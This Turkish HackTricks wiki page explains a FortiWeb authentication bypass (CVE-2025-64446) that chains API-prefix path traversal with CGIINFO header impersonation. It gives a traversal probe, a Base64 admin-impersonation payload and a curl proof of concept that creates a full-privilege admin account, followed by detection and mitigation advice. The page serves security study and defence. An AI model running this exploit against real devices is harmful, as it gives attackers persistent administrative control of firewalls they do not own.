Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

Fortinet FortiWeb, merkezi bir CGI dispatcher’ı /cgi-bin/fwbcgi adresinde açığa çıkarır. İki hata zinciri, kimliği doğrulanmamış uzak bir saldırganın şunları yapmasına izin verir:

  • fwbcgi’ye ulaşmak için URL’yi geçerli bir API prefix ile başlatarak ve dizinlerde traversal yaparak.
  • CGI’nin kimlik olarak güvendiği özel bir HTTP header sağlayarak herhangi bir kullanıcıyı (yerleşik admin dahil) taklit etmek.

Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Gerçek dünyada istismar edilerek kalıcı admin kullanıcılar oluşturulduğu gözlemlenmiştir.

Etkilenen sürümler (kamuya açık olarak belgelenmiş):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2, aşağıdaki traversal probe için HTTP 403 döner.

Hızlı zafiyet testi

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Yorum: HTTP 200 → muhtemelen zafiyetli; HTTP 403 → yama uygulanmış.

Kök neden zinciri

  1. API-prefix path traversal to internal CGI
  • Geçerli bir FortiWeb API önekiyle başlayan herhangi bir istek yolu (örn. /api/v2.0/cmdb/ veya /api/v2.0/cmd/) ../ kullanarak /cgi-bin/fwbcgi’ye erişebilir.
  1. Minimal-body validation bypass
  • fwbcgi’ye ulaşıldığında, ilk kontrol /var/log/inputcheck/ altındaki per-path dosya tarafından anahtarlanan izin verici bir JSON kontrolü yapar. Dosya yoksa kontrol hemen geçer. Dosya varsa, body’nin sadece geçerli JSON olması yeterlidir. Minimal uyumlu body olarak {} kullanın.
  1. Header-driven user impersonation
  • Program CGI environment variable HTTP_CGIINFO’ı (HTTP header CGIINFO’den türetilir) okur, Base64 ile çözer, JSON parse eder ve alanları doğrudan giriş bağlamına kopyalayarak domain/VDOM’u ayarlar. İlgi çekici anahtarlar:
  • username, loginname, vdom, profname
  • Yerleşik admin’i taklit etmek için örnek JSON:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

Yukarıdakinin Base64’i (gerçek dünyada kullanıldığı gibi):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

Uçtan uca kötüye kullanım deseni (unauthenticated → admin)

  1. API-prefix traversal ile /cgi-bin/fwbcgi’ye erişin.
  2. Girdi kontrolünü geçmek için herhangi bir geçerli JSON gövdesi (ör. {}) sağlayın.
  3. JSON’un hedef kimliği tanımladığı CGIINFO: <base64(json)> başlığını gönderin.
  4. Ayrıcalıklı işlemleri gerçekleştirmek için fwbcgi tarafından beklenen backend JSON’u POST edin (ör. kalıcılık için bir admin kullanıcısı oluşturmak).

Minimal cURL PoC

  • Traversal exposure’ı test edin:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • admin’i taklit et ve yeni bir yerel admin kullanıcı oluştur:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Notlar:

  • Herhangi bir geçerli JSON body yeterlidir (örn. {}) eğer /var/log/inputcheck/<path>.json mevcut değilse.
  • Action schema FortiWeb-dahili; yukarıdaki örnek tam yetkili bir local admin ekler.

Tespit

  • ../ içeren API-ön ekli yollar üzerinden /cgi-bin/fwbcgi’ye ulaşan talepler (örn. /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • CGIINFO başlığı içinde username/loginname/vdom/profname anahtarlarını içeren Base64 JSON varlığı.
  • Arka uç artefaktları:
  • /var/log/inputcheck/ altında yol başına dosyalar (gate konfigürasyonu).
  • Beklenmeyen admin oluşturulması ve konfigürasyon değişiklikleri.
  • Hızlı doğrulama: traversal probe’un 200 döndürmesi (açık) vs 403 (düzeltilmiş sürümlerde engellenmiş).

Hafifletme

  • Satıcı duyurusuna göre düzeltilmiş sürümlere yükseltin (örnekler: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12).
  • Yama uygulanana kadar:
  • FortiWeb yönetim düzlemini güvenilmeyen ağlara açmayın.
  • Aşağıdakileri engellemek için reverse-proxy/WAF kuralları ekleyin:
  • /api/ ile başlayan ve ../cgi-bin/fwbcgi içeren yollar.
  • CGIINFO başlığı taşıyan istekler.
  • Yukarıdaki tespit göstergelerini izleyin ve alarm kurun.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin